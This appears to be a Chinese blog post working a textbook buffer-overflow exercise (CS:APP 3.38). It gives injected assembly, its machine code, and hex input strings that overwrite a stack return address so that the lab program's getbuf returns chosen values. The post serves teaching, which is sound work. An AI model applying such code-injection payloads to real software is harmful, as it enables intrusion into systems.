《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续3)

本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三二一@小鱼)相关研究、学习内容所做的笔记,欢迎广大朋友指正!

   

《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续3)

 

 本文全文下载:http://download.csdn.net/source/1940333

 

1. 问题描述

 

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx

 

2. 目标分析与题解

 

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087676.aspx

 

3. 验证

 

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087690.aspx

 

4. 小结

 

本文主要以《深入理解计算机》3.38题为例,详细地介绍了该题目的解题过程,主要目的是利用程序缓冲区溢出以达到改变程序的输出(攻击程序)。

要解决这类题目,需要对过程调用的栈帧变化、指令的作用有较深入的了解。同时在使用GDB调试程序时,命令的使用也能对尽快找出问题提供帮助,本文只简单地使用了px等命令,其他的注入displaylayout命令更能帮助我们发现问题、解决问题。

另外,也需要对该类问题举一反三,从中可以观察到每个汇编指令的格式、功能及其使用方法,例如。

 

4.1 若希望输出为0x12345678呢?

 

输入指令的汇编代码及其机器码。

;file name: bomb.s

mov    $0x12345678, %eax

push   $0x401158

ret

$ objdump -d bomb.o

show.o:     file format pe-i386

Disassembly of section .text:

00000000 <.text>:

   0:   b8 78 56 34 12          mov    $0x12345678,%eax

   5:   68 58 11 40 00          push   $0x401158

   a:   c3                      ret

   b:   90                      nop

   c:   90                      nop

   d:   90                      nop

   e:   90                      nop

   f:   90                      nop

 

输入数据如下。

$ ./bomb.exe

Type Hex string:b8 78 56 34 12 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

getbuf returned 0x12345678

  

4.2 若希望输出为0xabc呢?

 

输入指令的汇编代码及其机器码。

;file name: bomb.s

mov    $0xabc, %eax

push   $0x401158

ret

$ objdump -d bomb.o

show.o:     file format pe-i386

Disassembly of section .text:

00000000 <.text>:

   0:   b8 bc 0a 00 00          mov    $0xabc,%eax

   5:   68 58 11 40 00          push   $0x401158

   a:   c3                      ret

   b:   90                      nop

   c:   90                      nop

   d:   90                      nop

   e:   90                      nop

   f:   90                      nop

 

输入数据如下。

$ ./bomb.exe

Type Hex string:b8 bc 0a 00 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

getbuf returned 0xabc

 

4.3 一些例子

 

以下是不同长度的输入输出示例,若希望其他的输出,读者可以自行试验。

Input:b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0xdeadbeef

Input:b8 78 56 34 12 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0x12345678

Input:b8 56 34 12 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0x123456

Input:b8 bc 0a 00 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

Output:0xabc

 

另外,也可以在Linux系统、windows系统中试验,以观察不同编译器、链接器的不同。

 

Reference

http://blog.csdn.net/lijingze2003/archive/2005/02/25/302275.aspx

http://bbs.pediy.com/showthread.php?threadid=38234

 

你可能感兴趣的:(String,汇编,File,input,hex,output)